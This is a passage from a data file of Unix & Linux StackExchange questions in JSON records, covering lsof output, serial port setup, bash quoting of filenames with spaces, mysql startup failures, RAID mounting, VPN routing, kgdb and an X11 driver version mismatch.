/home2/ctxmortg/public_html/hello/cache/curl/http%3A%2F%2Fimage.yahoo.cn%2Fs%3Fq%3DNudity%26c%3D0%26s%3D%26page%3D277 php 3187 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3187 ctxmortg 3r REG 8,17 54640 69699731 /home2/ctxmortg/public_html/hello/cache/newdatingfriends.com/cache-zch-1545-cache.txt php 3188 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3188 ctxmortg 3r REG 8,17 54640 21557063 /home2/ctxmortg/public_html/hello/cache/customersdeals.com/cache-zch-5715-cache.txt php 3189 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3189 ctxmortg 3r REG 8,17 4185 36028071 /home2/ctxmortg/public_html/hello/cache/curl/http%3A%2F%2Fimage.yahoo.cn%2Fs%3Fq%3DVideos%26c%3D0%26s%3D%26page%3D329 php 3200 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3200 ctxmortg 3r REG 8,17 21036 9155614 /home2/ctxmortg/public_html/hello/cache/indorealestates.com/cache-zch-8562-cache.txt lsof 3201 root cwd DIR 8,17 4096 2 /home2 lsof 3202 root cwd DIR 8,17 4096 2 /home2 webalizer 32342 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32342 ctxmortg 5uW REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32360 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32360 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32361 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32361 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32362 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32362 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32363 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32363 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32364 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32364 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32365 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32365 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32366 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32366 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32367 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32367 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32368 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32368 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db webalizer 32369 ctxmortg cwd DIR 8,17 4096 32890953 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com webalizer 32369 ctxmortg 5u REG 8,17 12288 32890954 /home2/ctxmortg/tmp/webalizer/eyebestdatedotcomauph.ctxmortgagemortgagerefi.com/dns_cache.db bash 32409 root cwd DIR 8,17 4096 2 /home2 I want to umount a drive but cannot. So, what does cwd, 3r dir, and reg mean anyway?"} {"_id": "113513", "title": "Do I need Nautilus on RedHat / CentOS / Scientific Linux 6?", "text": "I've found that Nautilus causes problems in my Scientific Linux 6 desktop (specifically it gets into an infinite loop opening the file manager at startup). While those problems are interesting in their own right, it got me wondering if I really need it for anything. When I do this: sudo yum remove nautilus the problem goes away, and since I never interact with the GUI file manager this doesn't seem like a problem. Will this bite me later on? Are there some hidden uses for Nautilus other than browsing files with a GUI?"} {"_id": "9547", "title": "setserial /dev/ttyS4: Cannot set serial info", "text": "So, I have a board with 6 hardware serial ports: the first 2 on the ETX bus and the last 4 on the ISA bus. The following configuration is how it is supposed to be: /dev/ttyS0 port 0x03F8 irq 4 /dev/ttyS1 port 0x02F8 irq 3 /dev/ttyS2 port 0x0100 irq 5 /dev/ttyS3 port 0x0108 irq 5 /dev/ttyS4 port 0x0110 irq 5 /dev/ttyS5 port 0x0118 irq 5 On startup, I run: # dmesg | egrep -i 'serial|ttys' Serial: 8250/16550 driver, 6 ports, IRQ sharing enabled serial8250: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A serial8250: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A 00:06: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A 00:07: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A # cat /proc/tty/driver/serial Serinfo:1.0 driver revision: 0: uart:16550A port: 000003F8 irq:4 tx:0 rx:0 1: uart:16550A port: 000002F8 irq:3 tx:0 rx:0 2: uart:unknown port:000003E8 irq:4 3: uart:unknown port:000002E8 irq:3 4: uart:unknown port:00000000 irq:0 5: uart:unknown port:00000000 irq:0 So, I'm trying to use setserial to configure ports ttyS2-ttyS5 with the correct values: # setserial /dev/ttyS2 irq 5 port 0x100 uart 16550A # setserial /dev/ttyS3 irq 5 port 0x108 uart 16550A # setserial /dev/ttyS4 irq 5 port 0x110 uart 16550A Cannot set serial info: Invalid argument # setserial /dev/ttyS5 irq 5 port 0x118 uart 16550A Cannot set serial info: Invalid argument Even taking out the uart option from the last command: # setserial /dev/ttyS4 irq 5 Cannot set serial info: Invalid argument What do I need to do to get ttyS4 and ttyS5 configured through setserial?"} {"_id": "9544", "title": "Can a user with /sbin/nologin shell login through ssh?", "text": "Is it possible to ssh to a machine as a user with no valid shell (say, `mail`)? So far I cannot, and using the command below doesn't work: $ ssh mail@machine.local /bin/bash It will always say \"This account is currently not available.\". But if I'm logged-in to the machine and use 'su' $ su mail -s /bin/bash I can become user `mail`."} {"_id": "113510", "title": "Repeated commands in a bash pipeline", "text": "Sometimes commands repeat in pipeline command. For example (just to illustrate): $ grep -lF 'pattern' ./foo/**/*.bar | xargs dirname | xargs dirname Is there a way to shorten chaining command? For example, I have a command: $ ... | some-command | some-command | some-command | ... I'd like to get same result with something like to the following $ ... | (some-command) ^ 3 | ... Of course, it wouldn't work, but it illustrates what I'd like to make."} {"_id": "911", "title": "Number of running processes show in top", "text": "The usual maximum number that I have seen in the \"running\" field displayed in `top`(1) is the number of logical CPUs installed in the system. However, I have observed that under Ubuntu 10.04 (not checked in other versions), sometimes `top`(1) shows more processes running than the limit I've mentioned. What can be causing the display of say, for example, 2 running processes in a single core system?"} {"_id": "148387", "title": "Can't start mysql service", "text": "Trying to start my mysql service. /etc/init.d/mysql start returns: Job failed. See system logs and 'systemctl status' for details. Further: systemctl status mysql.service returns: mysql.service - LSB: Start the MySQL database server Loaded: loaded (/etc/init.d/mysql) Active: failed since Mon, 04 Aug 2014 16:20:43 -0400; 38s ago Process: 14148 ExecStop=/etc/init.d/mysql stop (code=exited, status=0/SUCCESS) Process: 16457 ExecStart=/etc/init.d/mysql start (code=exited, status=1/FAILURE) CGroup: name=systemd:/system/mysql.service Any ideas how I can find out what's happening? That latest entry in `/var/log/mysql/mysqld.log`: 140805 08:52:42 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql 140805 8:52:42 [ERROR] mysqld: Can't lock aria control file '/var/lib/mysql/aria_log_control' for exclusive use, error: 11. Will retry for 30 seconds 140805 8:53:13 [ERROR] mysqld: Got error 'Could not get an exclusive lock; file is probably in use by another process' when trying to use aria control file '/var/lib/mysql/aria_log_contr$ 140805 8:53:13 [ERROR] Plugin 'Aria' init function returned error. 140805 8:53:13 [ERROR] Plugin 'Aria' registration as a STORAGE ENGINE failed. 140805 8:53:13 [ERROR] Failed to initialize plugins. 140805 8:53:13 [ERROR] Aborting 140805 8:53:13 [Note] /usr/sbin/mysqld: Shutdown complete 140805 08:53:13 mysqld_safe mysqld from pid file /var/run/mysql/mysqld.pid ended"} {"_id": "113515", "title": "How to modify output in bash command pipeline", "text": "For example, I got from some command some lines $ some-command John Bob Lucy Now I'd like to add chaining command, that modifies output. $ some-command | other-command Hi John Bye Hi Bob Bye Hi Lucy Bye How to write `other-command`? (I'm a novice in bash)"} {"_id": "912", "title": "Persist clipboard contents in vi", "text": "If I want to copy text from a file in `vi` to another file, I have to highlight the text, `Control-Shift-C` it, quit the first file, open the second, and then paste it via `Control-Shift-V`. It feels like there must be an easier way to do this - that is, keyboard commands only. Any suggestions?"} {"_id": "104821", "title": "How to stop a background process?", "text": "I have started a wget on remote machine in background using `&`. Suddenly it stops downloading. I want to stop its process, then start it again. How can I stop it? I haven't close its shell window. But as you know it doesn't stop using `Ctrl`+`C` and `Ctrl`+`Z`."} {"_id": "104820", "title": "linux + sfdisk -s + emcpadm", "text": "I have 2 linux machines that are connected to EMC storage VIA fiber cables on the first machine I run the command emcadm getused but from the sfdisk -s command I get only partial partition is it possible to rename the partitions /dev/emcpowerg to /dev/emcpowera /dev/emcpowerh to /dev/emcpowerb etc . emcpadm getused PowerPath pseudo device names in use: Pseudo Device Name Major# Minor# emcpowera 232 0 emcpowerb 232 16 emcpowerc 232 32 emcpowerd 232 48 emcpowere 232 64 emcpowerf 232 80 emcpowerg 232 96 emcpowerh 232 112 emcpoweri 232 128 emcpowerj 232 144 emcpowerk 232 160 emcpowerl 232 176 # sfdisk -s /dev/emcpowerg: 10240000 /dev/emcpowerh: 4608000 /dev/emcpoweri: 4608000 /dev/emcpowerj: 24576000 /dev/emcpowerk: 12288000 /dev/emcpowerl: 379957248 /dev/sda: 71687402 /dev/sdb: 10240000 /dev/sdc: 4608000 /dev/sdd: 4608000 /dev/sde: 24576000 /dev/sdf: 12288000 /dev/sdg: 379957248 /dev/sdh: 10240000 /dev/sdi: 4608000 /dev/sdj: 4608000 /dev/sdk: 24576000 /dev/sdl: 12288000 /dev/sdm: 379957248"} {"_id": "58774", "title": "raspberry pi keeps killing imagemagicks convert", "text": "My raspberry Pi keeps killing imagemagick's `convert` command when I'm resizing images, especially larger images. Is there any way I can prevent this?"} {"_id": "153315", "title": "How can I embed a console app's output into my X11 desktop?", "text": "I'd like to view NetHogs output on my desktop. For example, do any `Conky` or `applets` on Cinnamon exist, so I don't need to have a terminal open all the time?"} {"_id": "153317", "title": "How are files or chunks delimited on disk?", "text": "I'm trying to recover some lost files by `grep`-scanning a hard disk. (The OS is Darwin 11.4.2. The file system is HFS.) How can I determine where a file (or contiguous chunk thereof) begins and ends on disk? I'm thinking of something along the lines of a _generic_ beginning- of-file (BOF) and end-of-file (EOF) sequences. I'm hoping the search could automatically \"parse\" the scanned content into (at least) coherent chunks (by splitting it at BOF-or-EOF)."} {"_id": "24358", "title": "Is it possible to add some sort of hook to wget to pre-process HTML returned?", "text": "I want to mirror one of my websites. Unfortunately, the site is in its _preview mode_ , and a GET param must be appended to all URLs in the page for it to continue in its preview mode. This GET param was added with JavaScript. Obviously, that does not affect `wget`. Is there a way I can send the returned HTML off to a script to add these myself before `wget` attempts to crawl all the URLs?"} {"_id": "64212", "title": "System calls, AWK, and Bringing in external inputs", "text": "awk '{ TEMPVAR=\"/usr/bin\"; printf(\"%s\", system(\"ls $TEMPVAR\")); }' empty In this example I'm trying to bring in the variable `TEMPVAR` into the `system` call. How would I do this? What I'm aiming to do: I'm trying to use `date -d $0 +%s` in a `system` call that occurs every line of a file. However, I'm struggling with how to get that `$0` value into the system call."} {"_id": "153313", "title": "How to configure which sound card jack2 will use", "text": "I've installed `jack2` as a substitution for `jack` from official repositories (I'm on Arch Linux): # pacman -S jack2 I need to use jack2 because it provides `jackd` (it's needed for another application), while `jack2_dbus` does not provide it. According to this manual, in order to configure such parameters as sampling rate, one should use `jack_control`, but it is available only for `jack2_dbus` (which I cannot use). I also have read this article, but unfortunately, I can't follow it (it was written for `jack`, apparently `jack2` does not include `jackstart` anymore): [mark@arch ~]$ jackstart -R -d alsa -d hw:1U -p 512 -r 48000 -z s bash: jackstart: command not found I would like to somehow set default audio card, because when an application uses jack on my system, it uses card with `0` index and this is not what I want (I want, say, audio card with index `2`). Here is my `~/.asoundrc`: # # ALSA Configuration File # defaults.ctl.card 2 defaults.pcm.card 2 defaults.dmix.rate 44100 defaults.dmix.channels 2 Is there configuration file that controls which audio card will be used when an application invokes `jackd`? Any other means to set the parameter (and others)?"} {"_id": "153312", "title": "Run screen command with variable & tick through cron (cron run .sh)", "text": "I run screen command through cron, where the codes is in `lorem.sh` files. This is cron codes: `* * * * * cd /home/z; ./lorem.sh` Inside `lorem.sh`: screen -S screenname -X stuff $'\\033[B' sleep 1 && screen -S screenname -X stuff 2 sleep 1 && screen -S screenname -X stuff \"lorem ipsum dolor\" sleep 1 && screen -S screenname -X stuff $'\\n' Above `lorem.sh` codes: First line is \"Arrow down\", and forth line is \"Enter\" When running `lorem.sh` through cron, only second & third line working. Above `lorem.sh` works fine if run from terminal by typing `./lorem.sh` but not working from cron"} {"_id": "131766", "title": "Why does my shell script choke on whitespace or other special characters?", "text": "Or, an introductory guide to robust filename handling and other string passing in shell scripts. I wrote a shell script which works well most of the time. But it chokes on some inputs (e.g. on some file names) \u2014 I encountered a problem such as the following: * I have a file name containing a space `hello world`, and it was treated as two separate files `hello` and `world`. * I have an input line with two consecutive spaces and they shrank to one in the input. * Leading and trailing whitespace disappears from input lines. * Sometimes, when the input contains one of the characters `\\\\[*?`, they are replaced by some text which is is actually the name of files. * There is an apostrophe `'` (or a double quote `\"`) in the input and things got weird after that point. * There is a backslash in the input (or: I am using Cygwin and some of my file names have Windows-style `\\` separators). What is going on and how do I fix it?"} {"_id": "149472", "title": "How to assign words with spaces as a whole name to variable in shell script?", "text": "I need to make some directory of Author name. It's easy when doing them alone. I can simply mkdir \"Mario Luis Garcia\" This will create one directory named \"Mario Luis Garcia\" But when trying do it massively with shell script, I failed. for i in \"Mario Luis Garcia\" \"etc.\"; do mkdir $i done; This will create 4 separate directories instead of 2. I tried to use `{}`, `()`to enclose the quoted text in. Doesn't work. How to do that?"} {"_id": "131688", "title": "how to pass asterisk as a parameter to getopts", "text": "I wrote a shell scripts with getopts to take arguments. But I want to pass an asterisk as an argument, for example script -a\"Hello * all\" -b\"Another argument\" if I echo the -a argument from the script it will always output some file names"} {"_id": "147185", "title": "Preserve formatting when command output is sent to a variable?", "text": "I have a bash script. If I run this command to: 1. grep for certain patterns, 2. transform the output, 3. sort the output 4. dedupe the output then I get one grep find per line in terminal LC_ALL=C grep -o --color -h -E -C 0 -r \"$pattern\" /pathto/Pre_N/ | tr -d '[:digit:]' | sort | uniq However, if I put it in an output variable then the formatting is lost (upon echoing to a file or echoing on screen). #!/usr/bin/env bash output=$(LC_ALL=C grep -o --color -h -E -C 0 -r \"$pattern\" /pathto/Pre_N/ | tr -d '[:digit:]' | sort | uniq) echo $output > $fn How can I preserve the formatting of the out put of this command once I save it to a variable?"} {"_id": "150982", "title": "Problems copying files with spaces inside the file name in a bash script", "text": "I have the following function inside a BASH script (running under Ubuntu 12.x), which would copy over a file with spaces inside the file name. It's not working. I've tried many different combinations, with \"', with \\\", etc. How do I get this to work? Thanks! function copy_docs() { source_directory=/mnt/someplace release_directory=/doc/someotherplace cp ${source_directory}/\"Some file with spaces.txt\" ${release_directory}/ } This is what I'm getting as output (from nearly all permutations): cp: cannot stat `/mnt/someplace/some': No such file or directory cp: cannot stat `file': No such file or directory cp: cannot stat `with': No such file or directory cp: cannot stat `spaces': No such file or directory"} {"_id": "147207", "title": "how to get the basename of complicated files", "text": "Here is an example of file path: /isf/GCM/VPfig/Aas/AR/ClCo el Doma Republic/VMN CRTro.txt What I want to get is the file basename: VMN CRTro.txt So I try the following: echo /isf/GCM/VPfig/Aas/AR/ClCo el Doma Republic/VMN CRTro.txt | sed s'/\\// /g' | awk '{print $NF}' CRTro.txt <-- not as expected Or basename /isf/GCM/VPfig/Aas/AR/ClCo el Doma Republic/VMN CRTro.txt basename: extra operand `Doma' Try `basename --help' for more information. <-- basename cant handle spaces What the best way to get the basename of a file with spaces in it?"} {"_id": "150187", "title": "Rename a file dynamically containing spaces", "text": "I want to rename a file dynamically based on data which contains spaces Name=\"Abc DEF\" Name1=\"GHI JKL\" mv /sample/pdf/noriginalName.pdf /sample/outputPdf/${NAME}${Name1}\".pdf\" But it gives me an error because it encounters space in between. How can I do this?"} {"_id": "151807", "title": "How to pass argument with spaces to a shell script function?", "text": "I'm trying to pass multiple argument to a function, but one of them is consist of two words and I want shell function to deal with it as one arg: args=(\"$@\") function(){ echo ${args[0]} echo ${args[1]} echo ${args[2]} } when I call this command `sh shell hi hello guys bye` I get this hi hello guys But what I really want is: hi hello guys bye"} {"_id": "149120", "title": "Getting expr: syntax error on index", "text": "Using this OF=$(ps fax | grep 'php-fpm: master process' | awk '{print $1}') IDX=`expr index $OF ' '` I get an error. The results of the $OF variable are: 27797 27495 What is the error here? I think it has to do with how the variable is being passed into the expression. Also, have tried putting ' quotes around the $OF variable to no avail. That just returns 0 as not found."} {"_id": "148654", "title": "Passing Environment Variable to NetworManager GUI", "text": "My VPN stoped working when I switched to Centos 7. I narrowed the problem to the lack of MD5 support (not strong enough). I followed this thread, and now I can use open-vpn on the command-line to make a connection. However I still cannot use the Gnome GUI (I did try this but no cigar). Is there a way I can pass environment variables to the NetworkManager GUI? I'm a newbie - so I'm not really sure what happens when I engage the gui, does it run the service under the covers...I kind of doubt it..."} {"_id": "99288", "title": "RAID mount not happening automatically", "text": "I've configured RAID array in my SUSE machine. Everything works just fine as expected. However, I need to mount the RAID array automatically when I boot my system. For this I added the mount point in `/etc/fstab` file. However, after rebooting, I need to do the below two steps. mdadm -- assemble - scan mount \\dev\\md0 \\hana It is not happening automatically as expected. What am I doing wrong?"} {"_id": "148657", "title": "Force single application to use VPN", "text": "I have a linux box (Tonido Plug 2) running Transmission, Sabnzbdplus, Sickbeard, Bind & CouchPotato. I need to configure VPN on the box in such a way that all download / upload activity by transmission routes through VPN and all other traffic go through as normal (i.e. not through VPN). Also I want only the Transmission up and down to be through VPN, ie. the transmission web interface should still be outside of VPN (accessible publicly). My current architecture is: 1. Transmission, Sabnzbdplus, Sickbeard running in their own ports 2. Nginx listens to port 80 and depending on the domain name requests are proxied to one of he above application's ports 3. Port 80 on my modem is forwarded to pot 80 on my plug After implementing VPN: 1. I should still be able to access Transmission, Sabnzbdplus & Sickbeard web interfaces from anywhere in the work over internet without a VPN. 2. Transmission upload and download alone should be through VPN (and only through VPN) 3. My local desktop and devices use bind DNS installed in the plug as DNS server, I don't want this to be screwed up. Any help is appreciated. Thanks in advance."} {"_id": "148650", "title": "why is EXPORT PS1 in my .profile getting clobbered?", "text": "In this question How can I get KornShell to display the date and time in the prompt? all the variables are visible in ksh except PS1 which appears to be getting replaced somehow. How can I determine what is resetting PS1 After my .profile is processed?"} {"_id": "148651", "title": "kgdb fail to start", "text": "I'm struglling for some time to make kgdb work in my sytsem, but meanwhile it does not. I'm using TI's SDK which based on 2.6.37 git. When trying to work with serial, I always get the following exception: I've tried kgdb in 2 modes, but both fail: **1) from boot:** I added in bootargs with: \"kgdboc=ttyO0,115200 kgdbwait\". ------------[ cut here ]------------ WARNING: at drivers/serial/serial_core.c:399 uart_get_baud_rate+0x124/0x138() Modules linked in: Backtrace: [] (dump_backtrace+0x0/0x110) from [] (dump_stack+0x18/0x1c) r6:c04f4d9f r5:0000018f r4:00000000 r3:60000013 **2) from console:** root@dm814x:~# echo ttyS0 > /sys/module/kgdboc/parameters/kgdboc kgdb: Registered I/O driver kgdboc. root@dm814x:~# echo g > /proc/sysrq-trigger SysRq : DEBUG Entering KGDB Unable to handle kernel NULL pointer dereference at virtual address 00000000 pgd = c4368000 [00000000] *pgd=84042031, *pte=00000000, *ppte=00000000 Internal error: Oops: 80000007 [#1] last sysfs file: /sys/module/kgdboc/parameters/kgdboc KGDB: re-enter exception: ALL breakpoints killed Backtrace: The kernel config use: CONFIG_KGDB CONFIG_KGDB_SERIAL Is there any guess what the problem is ? Maybe I need to patch the kernel with kgdb appropriate patch ?"} {"_id": "148652", "title": "Missing separate debuginfos", "text": "I'm trying to debug a code using GDB in a Fedora machine. It produces this message each time I run it. Missing separate debuginfos, use: debuginfo-install glibc-2.18-12.fc20.x86_64 libgcc-4.8.3-1.fc20.x86_64 libstdc++-4.8.3-1.fc20.x86_64 My questions: 1. Should these packages be in GDB by default? 2. What is the function of each of these packages? 3. In real production environments should these packages be installed for GDB? 4. Is it ok if I do not install these packages? What will be the effect?"} {"_id": "99281", "title": "unzip a directory in unix", "text": "I tried to `unzip` a folder in Unix: $ unzip sample.zip This is creating the root structure `a/b/c/d/e/f/sample`. Please advise. I need to `unzip` a folder in the current directory."} {"_id": "99280", "title": "RAID configuration disappears after reboot", "text": "I am using SUSE to install Hana in my system. I have 2 298 GB HDDs which I am going to configure as RAID 0. I am using **mdadm** to create a RAID array. I use the below command to create the RAID array. mdadm --create --verbose /dev/md0 --level=stripe --raid-devices=2 /dev/sdb6 /dev/sdc5 After the above step, I am editing the **/etc/mdadm.conf** file to add the entry. mdadm --detail --scan >> /etc/mdadm.conf If I check `/proc/mdstat`, I can see that the array is running. Now, I can create a filesystem, on `/dev/md0`. I used the command, `mkfs /dev/md0` I also included it in **/etc/fstab**. However, after rebooting the system, the raid array disappears and mdadm --detail --scan gives me nothing. Is there something missing in the configuration of the RAID?"} {"_id": "99287", "title": "Sending emails from AutoMySQLBackup from Linux Mint", "text": "I have set AutoMySQLBackup on a Linux Mint machine and I want to have the backups sent to an email, but I cannot make it work. I'm new to Linux environment and don't understand it very much. I installed `mutt` and `Postfix`, but I don't know how to config them, so `AutoMySQLBackup` will be able to send the backups to a Gmail account."} {"_id": "125930", "title": "X11 module ABI version does not match server's version", "text": "When using startx on my 32 bit linux system running debian Jessie, I get the following error: (EE) module ABI major version (12) doesn't match server's version (15) (EE) no screens found `tail /var/log/Xorg.0.log` (Above the information already stated) Module fbturbo: vendor=\"X.org foundation\" Compiled for 1.12.4 module version 0.3.1 ABI class: X.org video driver, version 12.1 Failed to load module \"fbturbo\" (module requirement mismatch\" I did google and found many results, but none of them reference versions 12 and 15 and none relate to Debian. How can I get X11 to work again? Here's the entire xorg.0.log: [ 1035.404] X.Org X Server 1.15.0.901 (1.15.1 RC 1) Release Date: 2014-03-21 [ 1035.409] X Protocol Version 11, Revision 0 [ 1035.411] Build Operating System: Linux 3.13-1-armmp armv7l Raspbian [ 1035.412] Current Operating System: Linux raspi 3.10.37+ #669 PREEMPT Tue Apr 15 14:44:32 BST 2014 armv6l [ 1035.413] Kernel command line: dma.dmachans=0x7f35 bcm2708_fb.fbwidth=1280 bcm2708_fb.fbheight=720 bcm2708.boardrev=0xf bcm2708.serial=0xbc6c8748 smsc95xx.macaddr=B8:27:EB:6C:87:48 sdhci-bcm2708.emmc_clock_freq=250000000 vc_mem.mem_base=0x1ec00000 vc_mem.mem_size=0x20000000 dwc_otg.lpm_enable=0 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline rootwait quiet loglevel=0 [ 1035.419] Build Date: 06 April 2014 07:54:41AM [ 1035.423] xorg-server 2:1.15.0.901-1 (http://www.debian.org/support) [ 1035.430] Current version of pixman: 0.32.4 [ 1035.431] Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. [ 1035.432] Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. [ 1035.444] (==) Log file: \"/var/log/Xorg.0.log\", Time: Wed Apr 23 15:54:06 2014 [ 1035.451] (==) Using system config directory \"/usr/share/X11/xorg.conf.d\" [ 1035.459] (==) No Layout section. Using the first Screen section. [ 1035.460] (==) No screen section available. Using defaults. [ 1035.460] (**) |-->Screen \"Default Screen Section\" (0) [ 1035.460] (**) | |-->Monitor \"\" [ 1035.467] (==) No device specified for screen \"Default Screen Section\". Using the first device section listed. [ 1035.467] (**) | |-->Device \"Allwinner A10/A13 FBDEV\" [ 1035.468] (==) No monitor specified for screen \"Default Screen Section\". Using a default monitor configuration. [ 1035.468] (==) Automatically adding devices [ 1035.469] (==) Automatically enabling devices [ 1035.469] (==) Automatically adding GPU devices [ 1035.471] (WW) The directory \"/usr/share/fonts/X11/misc\" does not exist. [ 1035.471] Entry deleted from font path. [ 1035.472] (WW) The directory \"/usr/share/fonts/X11/cyrillic\" does not exist. [ 1035.472] Entry deleted from font path. [ 1035.472] (WW) The directory \"/usr/share/fonts/X11/100dpi/\" does not exist. [ 1035.473] Entry deleted from font path. [ 1035.473] (WW) The directory \"/usr/share/fonts/X11/75dpi/\" does not exist. [ 1035.473] Entry deleted from font path. [ 1035.475] (WW) The directory \"/usr/share/fonts/X11/100dpi\" does not exist. [ 1035.475] Entry deleted from font path. [ 1035.476] (WW) The directory \"/usr/share/fonts/X11/75dpi\" does not exist. [ 1035.476] Entry deleted from font path. [ 1035.476] (==) FontPath set to: /usr/share/fonts/X11/Type1, built-ins [ 1035.476] (==) ModulePath set to \"/usr/lib/xorg/modules\" [ 1035.477] (II) The server relies on udev to provide the list of input devices. If no devices become available, reconfigure udev or disable AutoAddDevices. [ 1035.477] (II) Loader magic: 0xb6f9fef8 [ 1035.478] (II) Module ABI versions: [ 1035.479] X.Org ANSI C Emulation: 0.4 [ 1035.479] X.Org Video Driver: 15.0 [ 1035.479] X.Org XInput driver : 20.0 [ 1035.480] X.Org Server Extension : 8.0 [ 1035.483] Initializing built-in extension Generic Event Extension [ 1035.484] Initializing built-in extension SHAPE [ 1035.485] Initializing built-in extension MIT-SHM [ 1035.486] Initializing built-in extension XInputExtension [ 1035.487] Initializing built-in extension XTEST [ 1035.488] Initializing built-in extension BIG-REQUESTS [ 1035.489] Initializing built-in extension SYNC [ 1035.490] Initializing built-in extension XKEYBOARD [ 1035.491] Initializing built-in extension XC-MISC [ 1035.501] Initializing built-in extension SECURITY [ 1035.516] Initializing built-in extension XINERAMA [ 1035.527] Initializing built-in extension XFIXES [ 1035.536] Initializing built-in extension RENDER [ 1035.547] Initializing built-in extension RANDR [ 1035.557] Initializing built-in extension COMPOSITE [ 1035.566] Initializing built-in extension DAMAGE [ 1035.576] Initializing built-in extension MIT-SCREEN-SAVER [ 1035.585] Initializing built-in extension DOUBLE-BUFFER [ 1035.593] Initializing built-in extension RECORD [ 1035.602] Initializing built-in extension DPMS [ 1035.613] Initializing built-in extension Present [ 1035.621] Initializing built-in extension DRI3 [ 1035.629] Initializing built-in extension X-Resource [ 1035.638] Initializing built-in extension XVideo [ 1035.646] Initializing built-in extension XVideo-MotionCompensation [ 1035.655] Initializing built-in extension SELinux [ 1035.663] Initializing built-in extension XFree86-VidModeExtension [ 1035.671] Initializing built-in extension XFree86-DGA [ 1035.678] Initializing built-in extension XFree86-DRI [ 1035.686] Initializing built-in extension DRI2 [ 1035.687] (II) LoadModule: \"glx\" [ 1035.692] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so [ 1035.700] (II) Module glx: vendor=\"X.Org Foundation\" [ 1035.701] compiled for 1.15.0.901, module version = 1.0.0 [ 1035.702] ABI class: X.Org Server Extension, version 8.0 [ 1035.703] (==) AIGLX enabled [ 1035.713] Loading extension GLX [ 1035.713] (II) LoadModule: \"fbturbo\" [ 1035.718] (II) Loading /usr/lib/xorg/modules/drivers/fbturbo_drv.so [ 1035.721] (II) Module fbturbo: vendor=\"X.Org Foundation\" [ 1035.722] compiled for 1.12.4, module version = 0.3.1 [ 1035.723] Module class: X.Org Video Driver [ 1035.723] ABI class: X.Org Video Driver, version 12.1 [ 1035.731] (EE) module ABI major version (12) doesn't match the server's version (15) [ 1035.731] (II) UnloadModule: \"fbturbo\" [ 1035.732] (II) Unloading fbturbo [ 1035.733] (EE) Failed to load module \"fbturbo\" (module requirement mismatch, 0) [ 1035.733] (EE) No drivers available. [ 1035.734] (EE) Fatal server error: [ 1035.748] (EE) no screens found(EE) [ 1035.756] (EE) Please consult the The X.Org Foundation support at http://wiki.x.org for help. [ 